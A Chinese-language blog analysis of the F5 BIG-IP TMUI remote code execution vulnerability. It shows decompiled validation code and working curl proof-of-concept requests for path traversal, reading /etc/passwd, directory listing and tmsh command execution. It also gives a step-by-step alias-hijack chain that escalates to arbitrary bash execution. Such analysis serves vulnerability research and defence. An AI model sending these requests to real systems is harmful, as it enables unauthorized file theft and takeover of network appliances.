F5 BIG-IP RCE简单分析

从通告中可以明确几个点

本页目录
  1. 分析
  2. RCE 限制绕过
  3. 原理
  4. MSF
  5. ..;修补·反序列化绕过
  6. 参考资料

分析

从通告中可以明确几个点

  1. 位于 tmui
  2. ..;路径穿透 -> Apache Tomcat
  3. 隐藏页面

虚拟机中提取源码并简单分析后可以确定jsp对应class位于

Terminal window
# 相对路径
/www/tmui/WEB-INF/classes/org/apache/jsp/tmui
# 绝对路径
/usr/local/www/tmui/WEB-INF/classes/org/apache/jsp/tmui

最后在 locallb/workspace 中可以看到有以下几个关键类

classjsp pathfeatureparameter
create_jsp.class/tmui/locallb/workspace/list.jsp创建 jsp 文件
dbquery_jsp.class/tmui/locallb/workspace/dbquery.jsp查询数据库query
object
column
directoryList_jsp.class/tmui/locallb/workspace/directoryList.jsp列目录directoryPath
fileRead_jsp.class/tmui/locallb/workspace/fileRead.jsp读文件fileName
fileSave_jsp.class/tmui/locallb/workspace/fileSave.jsp写文件fileName
content
import_jsp.class/tmui/locallb/workspace/import.jsp加载 jsp 文件
list_jsp.lass/tmui/locallb/workspace/list.jsp列数据库信息
properties_jsp.class/tmui/locallb/workspace/properties.jsp参数设定pageType
properties
settings_jsp.class/tmui/locallb/workspace/settings.jsp列举参数信息
tmshCmd_jsp.class/tmui/locallb/workspace/tmshCmd.jsp命令执行command

对应com.f5.tmui.locallb.handler.workspace.WorkspaceUtils中的方法实现

F5 BIG-IP RCE简单分析 · 图示

在浏览器中直接访问加载这些页面会被重定向,但通过 tomcat 路径穿透可以控制在 tmui 下进行加载

然后这里说下 tmshCmd 执行的问题

在com.f5.tmui.locallb.handler.workspace.WorkspaceUtils#runTmshCommand中执行传入的 command,但限制可用的操作为create、delete、list、modify四种模块,且由于checkForBadShellCharacters进行了过滤,需要找到方法跳出限制通过run模块执行 bash 命令

public static JSONObject runTmshCommand(String command) {
F5Logger logger = (F5Logger)F5Logger.getLogger(WorkspaceUtils.class);
JSONObject resultObject = new JSONObject();
String output = "";
String error = "";
String operation = command.split(" ")[0];
if (ShellCommandValidator.checkForBadShellCharacters(command) || !operation.equals("create") && !operation.equals("delete") && !operation.equals("list") && !operation.equals("modify")) {
error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
} else {
try {
String[] args = new String[]{command};
Result result = Syscall.callElevated(Syscall.TMSH, args);
output = result.getOutput();
error = result.getError();
} catch (CallException var8) {
logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var8.getMessage());
error = var8.getMessage();
}
}
resultObject.put("output", output);
resultObject.put("error", error);
return resultObject;
}

过滤函数com.f5.form.ShellCommandValidator#checkForBadShellCharacters

public static boolean checkForBadShellCharacters(String value) {
char[] cArray = value.toCharArray();
for(int i = 0; i < cArray.length; ++i) {
char c = cArray[i];
if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r') {
return true;
}
}
return false;
}

POC

RCE: TMSH 命令参考

Terminal window
curl -k 'https://[HOST]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

P.S. 实际这里的 RCE 在没绕过限制之前只是对于 F5 执行部分操作;另外说list auth user admin返回结果为空,那是因为 admin 处于未登录状态。

LFR:

Terminal window
curl -k 'https://[HOST]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

DIR:

Terminal window
curl -k 'https://[HOST]/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/'

…

RCE 限制绕过

原理

来自不知源分享

  1. 修改alias劫持list命令为bash

    /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
  2. 写入bash文件

    /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/xxx&content=id
  3. 执行bash文件

    /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx
  4. 还原list命令

    /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

MSF

https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4

..;修补·反序列化绕过

原理:https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
POC:https://github.com/Critical-Start/Team-Ares/blob/master/CVE-2020-5902/

参考资料

  1. 【安全通报】F5 BIG-IP 远程代码执行漏洞